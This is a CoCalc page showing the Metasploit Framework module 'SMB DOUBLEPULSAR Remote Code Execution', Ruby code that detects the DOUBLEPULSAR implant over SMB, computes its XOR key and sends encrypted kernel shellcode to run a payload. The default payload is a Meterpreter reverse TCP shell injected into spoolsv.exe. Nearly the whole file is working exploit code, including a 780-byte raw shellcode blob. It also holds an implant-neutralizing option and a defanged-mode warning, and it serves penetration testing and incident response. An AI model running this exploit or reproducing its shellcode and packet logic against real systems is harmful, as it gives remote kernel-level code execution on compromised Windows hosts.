CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

CoCalc provides the best real-time collaborative environment for Jupyter Notebooks, LaTeX documents, and SageMath, scalable from individual users to large groups and classes!

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/windows/smb/smb_doublepulsar_rce.rb
Views: 1904
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Remote
7
8
Rank = GreatRanking
9
10
include Msf::Exploit::Remote::SMB::Client
11
include Msf::Module::Deprecated
12
13
moved_from 'exploit/windows/smb/doublepulsar_rce'
14
15
MAX_SHELLCODE_SIZE = 4096
16
17
def initialize(info = {})
18
super(update_info(info,
19
'Name' => 'SMB DOUBLEPULSAR Remote Code Execution',
20
'Description' => %q{
21
This module executes a Metasploit payload against the Equation Group's
22
DOUBLEPULSAR implant for SMB as popularly deployed by ETERNALBLUE.
23
24
While this module primarily performs code execution against the implant,
25
the "Neutralize implant" target allows you to disable the implant.
26
},
27
'Author' => [
28
'Equation Group', # DOUBLEPULSAR implant
29
'Shadow Brokers', # Equation Group dump
30
'zerosum0x0', # DOPU analysis and detection
31
'Luke Jennings', # DOPU analysis and detection
32
'wvu', # Metasploit module and arch detection
33
'Jacob Robles' # Metasploit module and RCE help
34
],
35
'References' => [
36
['MSB', 'MS17-010'],
37
['CVE', '2017-0143'],
38
['CVE', '2017-0144'],
39
['CVE', '2017-0145'],
40
['CVE', '2017-0146'],
41
['CVE', '2017-0147'],
42
['CVE', '2017-0148'],
43
['URL', 'https://zerosum0x0.blogspot.com/2017/04/doublepulsar-initial-smb-backdoor-ring.html'],
44
['URL', 'https://countercept.com/blog/analyzing-the-doublepulsar-kernel-dll-injection-technique/'],
45
['URL', 'https://www.countercept.com/blog/doublepulsar-usermode-analysis-generic-reflective-dll-loader/'],
46
['URL', 'https://github.com/countercept/doublepulsar-detection-script'],
47
['URL', 'https://github.com/countercept/doublepulsar-c2-traffic-decryptor'],
48
['URL', 'https://gist.github.com/msuiche/50a36710ee59709d8c76fa50fc987be1']
49
],
50
'DisclosureDate' => '2017-04-14', # Shadow Brokers leak
51
'License' => MSF_LICENSE,
52
'Platform' => 'win',
53
'Arch' => ARCH_X64,
54
'Privileged' => true,
55
'Payload' => {
56
'Space' => MAX_SHELLCODE_SIZE - kernel_shellcode_size,
57
'DisableNops' => true
58
},
59
'Targets' => [
60
['Execute payload (x64)',
61
'DefaultOptions' => {
62
'EXITFUNC' => 'thread',
63
'PAYLOAD' => 'windows/x64/meterpreter/reverse_tcp'
64
}
65
],
66
['Neutralize implant',
67
'DefaultOptions' => {
68
'PAYLOAD' => nil # XXX: "Unset" generic payload
69
}
70
]
71
],
72
'DefaultTarget' => 0,
73
'Notes' => {
74
'AKA' => ['DOUBLEPULSAR'],
75
'RelatedModules' => [
76
'auxiliary/scanner/smb/smb_ms17_010',
77
'exploit/windows/smb/ms17_010_eternalblue'
78
],
79
'Stability' => [CRASH_OS_DOWN],
80
'Reliability' => [REPEATABLE_SESSION],
81
'SideEffects' => []
82
}
83
))
84
85
register_advanced_options([
86
OptBool.new('DefangedMode', [true, 'Run in defanged mode', true]),
87
OptString.new('ProcessName', [true, 'Process to inject payload into', 'spoolsv.exe'])
88
])
89
deregister_options('SMB::ProtocolVersion')
90
end
91
92
OPCODES = {
93
ping: 0x23,
94
exec: 0xc8,
95
kill: 0x77
96
}.freeze
97
98
STATUS_CODES = {
99
not_detected: 0x00,
100
success: 0x10,
101
invalid_params: 0x20,
102
alloc_failure: 0x30
103
}.freeze
104
105
def calculate_doublepulsar_status(m1, m2)
106
STATUS_CODES.key(m2.to_i - m1.to_i)
107
end
108
109
# algorithm to calculate the XOR Key for DoublePulsar knocks
110
def calculate_doublepulsar_xor_key(s)
111
x = (2 * s ^ (((s & 0xff00 | (s << 16)) << 8) | (((s >> 16) | s & 0xff0000) >> 8)))
112
x & 0xffffffff # this line was added just to truncate to 32 bits
113
end
114
115
# The arch is adjacent to the XOR key in the SMB signature
116
def calculate_doublepulsar_arch(s)
117
s == 0 ? ARCH_X86 : ARCH_X64
118
end
119
120
def generate_doublepulsar_timeout(op)
121
k = SecureRandom.random_bytes(4).unpack1('V')
122
0xff & (op - ((k & 0xffff00) >> 16) - (0xffff & (k & 0xff00) >> 8)) | k & 0xffff00
123
end
124
125
def generate_doublepulsar_param(op, body)
126
case OPCODES.key(op)
127
when :ping, :kill
128
"\x00" * 12
129
when :exec
130
Rex::Text.xor([@xor_key].pack('V'), [body.length, body.length, 0].pack('V*'))
131
end
132
end
133
134
def check
135
ipc_share = "\\\\#{rhost}\\IPC$"
136
137
@tree_id = do_smb_setup_tree(ipc_share)
138
vprint_good("Connected to #{ipc_share} with TID = #{@tree_id}")
139
vprint_status("Target OS is #{smb_peer_os}")
140
141
print_status('Sending ping to DOUBLEPULSAR')
142
code, signature1, signature2 = do_smb_doublepulsar_pkt
143
msg = 'Host is likely INFECTED with DoublePulsar!'
144
145
case calculate_doublepulsar_status(@multiplex_id, code)
146
when :success
147
@xor_key = calculate_doublepulsar_xor_key(signature1)
148
@arch = calculate_doublepulsar_arch(signature2)
149
150
arch_str =
151
case @arch
152
when ARCH_X86
153
'x86 (32-bit)'
154
when ARCH_X64
155
'x64 (64-bit)'
156
end
157
158
print_warning("#{msg} - Arch: #{arch_str}, XOR Key: 0x#{@xor_key.to_s(16).upcase}")
159
CheckCode::Vulnerable
160
when :not_detected
161
print_error('DOUBLEPULSAR not detected or disabled')
162
CheckCode::Safe
163
else
164
print_error('An unknown error occurred')
165
CheckCode::Unknown
166
end
167
end
168
169
def exploit
170
if datastore['DefangedMode']
171
warning = <<~EOF
172
173
174
Are you SURE you want to execute code against a nation-state implant?
175
You MAY contaminate forensic evidence if there is an investigation.
176
177
Disable the DefangedMode option if you have authorization to proceed.
178
EOF
179
180
fail_with(Failure::BadConfig, warning)
181
end
182
183
# No ForceExploit because @tree_id and @xor_key are required
184
unless check == CheckCode::Vulnerable
185
fail_with(Failure::NotVulnerable, 'Unable to proceed without DOUBLEPULSAR')
186
end
187
188
case target.name
189
when 'Execute payload (x64)'
190
unless @xor_key
191
fail_with(Failure::NotFound, 'XOR key not found')
192
end
193
194
if @arch == ARCH_X86
195
fail_with(Failure::NoTarget, 'x86 is not a supported target')
196
end
197
198
print_status("Generating kernel shellcode with #{datastore['PAYLOAD']}")
199
shellcode = make_kernel_user_payload(payload.encoded, datastore['ProcessName'])
200
shellcode << rand_text(MAX_SHELLCODE_SIZE - shellcode.length)
201
vprint_status("Total shellcode length: #{shellcode.length} bytes")
202
203
print_status("Encrypting shellcode with XOR key 0x#{@xor_key.to_s(16).upcase}")
204
xor_shellcode = Rex::Text.xor([@xor_key].pack('V'), shellcode)
205
206
print_status('Sending shellcode to DOUBLEPULSAR')
207
code, _signature1, _signature2 = do_smb_doublepulsar_pkt(OPCODES[:exec], xor_shellcode)
208
when 'Neutralize implant'
209
return neutralize_implant
210
end
211
212
case calculate_doublepulsar_status(@multiplex_id, code)
213
when :success
214
print_good('Payload execution successful')
215
when :invalid_params
216
fail_with(Failure::BadConfig, 'Invalid parameters were specified')
217
when :alloc_failure
218
fail_with(Failure::PayloadFailed, 'An allocation failure occurred')
219
else
220
fail_with(Failure::Unknown, 'An unknown error occurred')
221
end
222
ensure
223
disconnect
224
end
225
226
def neutralize_implant
227
print_status('Neutralizing DOUBLEPULSAR')
228
code, _signature1, _signature2 = do_smb_doublepulsar_pkt(OPCODES[:kill])
229
230
case calculate_doublepulsar_status(@multiplex_id, code)
231
when :success
232
print_good('Implant neutralization successful')
233
else
234
fail_with(Failure::Unknown, 'An unknown error occurred')
235
end
236
end
237
238
def do_smb_setup_tree(ipc_share)
239
connect(versions: [1])
240
241
# logon as user \
242
simple.login(datastore['SMBName'], datastore['SMBUser'], datastore['SMBPass'], datastore['SMBDomain'])
243
244
# connect to IPC$
245
simple.connect(ipc_share)
246
247
# return tree
248
simple.shares[ipc_share]
249
end
250
251
def do_smb_doublepulsar_pkt(opcode = OPCODES[:ping], body = nil)
252
# make doublepulsar knock
253
pkt = make_smb_trans2_doublepulsar(opcode, body)
254
255
sock.put(pkt)
256
bytes = sock.get_once
257
258
return unless bytes
259
260
# convert packet to response struct
261
pkt = Rex::Proto::SMB::Constants::SMB_TRANS_RES_HDR_PKT.make_struct
262
pkt.from_s(bytes[4..-1])
263
264
return pkt['SMB'].v['MultiplexID'], pkt['SMB'].v['Signature1'], pkt['SMB'].v['Signature2']
265
end
266
267
def make_smb_trans2_doublepulsar(opcode, body)
268
setup_count = 1
269
setup_data = [0x000e].pack('v')
270
271
param = generate_doublepulsar_param(opcode, body)
272
data = param + body.to_s
273
274
pkt = Rex::Proto::SMB::Constants::SMB_TRANS2_PKT.make_struct
275
simple.client.smb_defaults(pkt['Payload']['SMB'])
276
277
base_offset = pkt.to_s.length + (setup_count * 2) - 4
278
param_offset = base_offset
279
data_offset = param_offset + param.length
280
281
pkt['Payload']['SMB'].v['Command'] = CONST::SMB_COM_TRANSACTION2
282
pkt['Payload']['SMB'].v['Flags1'] = 0x18
283
pkt['Payload']['SMB'].v['Flags2'] = 0xc007
284
285
@multiplex_id = rand(0xffff)
286
287
pkt['Payload']['SMB'].v['WordCount'] = 14 + setup_count
288
pkt['Payload']['SMB'].v['TreeID'] = @tree_id
289
pkt['Payload']['SMB'].v['MultiplexID'] = @multiplex_id
290
291
pkt['Payload'].v['ParamCountTotal'] = param.length
292
pkt['Payload'].v['DataCountTotal'] = body.to_s.length
293
pkt['Payload'].v['ParamCountMax'] = 1
294
pkt['Payload'].v['DataCountMax'] = 0
295
pkt['Payload'].v['ParamCount'] = param.length
296
pkt['Payload'].v['ParamOffset'] = param_offset
297
pkt['Payload'].v['DataCount'] = body.to_s.length
298
pkt['Payload'].v['DataOffset'] = data_offset
299
pkt['Payload'].v['SetupCount'] = setup_count
300
pkt['Payload'].v['SetupData'] = setup_data
301
pkt['Payload'].v['Timeout'] = generate_doublepulsar_timeout(opcode)
302
pkt['Payload'].v['Payload'] = data
303
304
pkt.to_s
305
end
306
307
# ring3 = user mode encoded payload
308
# proc_name = process to inject APC into
309
def make_kernel_user_payload(ring3, proc_name)
310
sc = make_kernel_shellcode(proc_name)
311
312
sc << [ring3.length].pack('S<')
313
sc << ring3
314
315
sc
316
end
317
318
def generate_process_hash(process)
319
# x64_calc_hash from external/source/shellcode/windows/multi_arch_kernel_queue_apc.asm
320
proc_hash = 0
321
process << "\x00"
322
323
process.each_byte do |c|
324
proc_hash = ror(proc_hash, 13)
325
proc_hash += c
326
end
327
328
[proc_hash].pack('l<')
329
end
330
331
def ror(dword, bits)
332
(dword >> bits | dword << (32 - bits)) & 0xFFFFFFFF
333
end
334
335
def make_kernel_shellcode(proc_name)
336
# see: external/source/shellcode/windows/multi_arch_kernel_queue_apc.asm
337
# Length: 780 bytes
338
"\x31\xc9\x41\xe2\x01\xc3\x56\x41\x57\x41\x56\x41\x55\x41\x54\x53" \
339
"\x55\x48\x89\xe5\x66\x83\xe4\xf0\x48\x83\xec\x20\x4c\x8d\x35\xe3" \
340
"\xff\xff\xff\x65\x4c\x8b\x3c\x25\x38\x00\x00\x00\x4d\x8b\x7f\x04" \
341
"\x49\xc1\xef\x0c\x49\xc1\xe7\x0c\x49\x81\xef\x00\x10\x00\x00\x49" \
342
"\x8b\x37\x66\x81\xfe\x4d\x5a\x75\xef\x41\xbb\x5c\x72\x11\x62\xe8" \
343
"\x18\x02\x00\x00\x48\x89\xc6\x48\x81\xc6\x08\x03\x00\x00\x41\xbb" \
344
"\x7a\xba\xa3\x30\xe8\x03\x02\x00\x00\x48\x89\xf1\x48\x39\xf0\x77" \
345
"\x11\x48\x8d\x90\x00\x05\x00\x00\x48\x39\xf2\x72\x05\x48\x29\xc6" \
346
"\xeb\x08\x48\x8b\x36\x48\x39\xce\x75\xe2\x49\x89\xf4\x31\xdb\x89" \
347
"\xd9\x83\xc1\x04\x81\xf9\x00\x00\x01\x00\x0f\x8d\x66\x01\x00\x00" \
348
"\x4c\x89\xf2\x89\xcb\x41\xbb\x66\x55\xa2\x4b\xe8\xbc\x01\x00\x00" \
349
"\x85\xc0\x75\xdb\x49\x8b\x0e\x41\xbb\xa3\x6f\x72\x2d\xe8\xaa\x01" \
350
"\x00\x00\x48\x89\xc6\xe8\x50\x01\x00\x00\x41\x81\xf9" +
351
generate_process_hash(proc_name.upcase) +
352
"\x75\xbc\x49\x8b\x1e\x4d\x8d\x6e\x10\x4c\x89\xea\x48\x89\xd9" \
353
"\x41\xbb\xe5\x24\x11\xdc\xe8\x81\x01\x00\x00\x6a\x40\x68\x00\x10" \
354
"\x00\x00\x4d\x8d\x4e\x08\x49\xc7\x01\x00\x10\x00\x00\x4d\x31\xc0" \
355
"\x4c\x89\xf2\x31\xc9\x48\x89\x0a\x48\xf7\xd1\x41\xbb\x4b\xca\x0a" \
356
"\xee\x48\x83\xec\x20\xe8\x52\x01\x00\x00\x85\xc0\x0f\x85\xc8\x00" \
357
"\x00\x00\x49\x8b\x3e\x48\x8d\x35\xe9\x00\x00\x00\x31\xc9\x66\x03" \
358
"\x0d\xd7\x01\x00\x00\x66\x81\xc1\xf9\x00\xf3\xa4\x48\x89\xde\x48" \
359
"\x81\xc6\x08\x03\x00\x00\x48\x89\xf1\x48\x8b\x11\x4c\x29\xe2\x51" \
360
"\x52\x48\x89\xd1\x48\x83\xec\x20\x41\xbb\x26\x40\x36\x9d\xe8\x09" \
361
"\x01\x00\x00\x48\x83\xc4\x20\x5a\x59\x48\x85\xc0\x74\x18\x48\x8b" \
362
"\x80\xc8\x02\x00\x00\x48\x85\xc0\x74\x0c\x48\x83\xc2\x4c\x8b\x02" \
363
"\x0f\xba\xe0\x05\x72\x05\x48\x8b\x09\xeb\xbe\x48\x83\xea\x4c\x49" \
364
"\x89\xd4\x31\xd2\x80\xc2\x90\x31\xc9\x41\xbb\x26\xac\x50\x91\xe8" \
365
"\xc8\x00\x00\x00\x48\x89\xc1\x4c\x8d\x89\x80\x00\x00\x00\x41\xc6" \
366
"\x01\xc3\x4c\x89\xe2\x49\x89\xc4\x4d\x31\xc0\x41\x50\x6a\x01\x49" \
367
"\x8b\x06\x50\x41\x50\x48\x83\xec\x20\x41\xbb\xac\xce\x55\x4b\xe8" \
368
"\x98\x00\x00\x00\x31\xd2\x52\x52\x41\x58\x41\x59\x4c\x89\xe1\x41" \
369
"\xbb\x18\x38\x09\x9e\xe8\x82\x00\x00\x00\x4c\x89\xe9\x41\xbb\x22" \
370
"\xb7\xb3\x7d\xe8\x74\x00\x00\x00\x48\x89\xd9\x41\xbb\x0d\xe2\x4d" \
371
"\x85\xe8\x66\x00\x00\x00\x48\x89\xec\x5d\x5b\x41\x5c\x41\x5d\x41" \
372
"\x5e\x41\x5f\x5e\xc3\xe9\xb5\x00\x00\x00\x4d\x31\xc9\x31\xc0\xac" \
373
"\x41\xc1\xc9\x0d\x3c\x61\x7c\x02\x2c\x20\x41\x01\xc1\x38\xe0\x75" \
374
"\xec\xc3\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48\x8b\x52" \
375
"\x20\x48\x8b\x12\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x45\x31\xc9" \
376
"\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41\x01\xc1" \
377
"\xe2\xee\x45\x39\xd9\x75\xda\x4c\x8b\x7a\x20\xc3\x4c\x89\xf8\x41" \
378
"\x51\x41\x50\x52\x51\x56\x48\x89\xc2\x8b\x42\x3c\x48\x01\xd0\x8b" \
379
"\x80\x88\x00\x00\x00\x48\x01\xd0\x50\x8b\x48\x18\x44\x8b\x40\x20" \
380
"\x49\x01\xd0\x48\xff\xc9\x41\x8b\x34\x88\x48\x01\xd6\xe8\x78\xff" \
381
"\xff\xff\x45\x39\xd9\x75\xec\x58\x44\x8b\x40\x24\x49\x01\xd0\x66" \
382
"\x41\x8b\x0c\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04\x88\x48" \
383
"\x01\xd0\x5e\x59\x5a\x41\x58\x41\x59\x41\x5b\x41\x53\xff\xe0\x56" \
384
"\x41\x57\x55\x48\x89\xe5\x48\x83\xec\x20\x41\xbb\xda\x16\xaf\x92" \
385
"\xe8\x4d\xff\xff\xff\x31\xc9\x51\x51\x51\x51\x41\x59\x4c\x8d\x05" \
386
"\x1a\x00\x00\x00\x5a\x48\x83\xec\x20\x41\xbb\x46\x45\x1b\x22\xe8" \
387
"\x68\xff\xff\xff\x48\x89\xec\x5d\x41\x5f\x5e\xc3"
388
end
389
390
def kernel_shellcode_size
391
make_kernel_shellcode('').length
392
end
393
394
end
395
396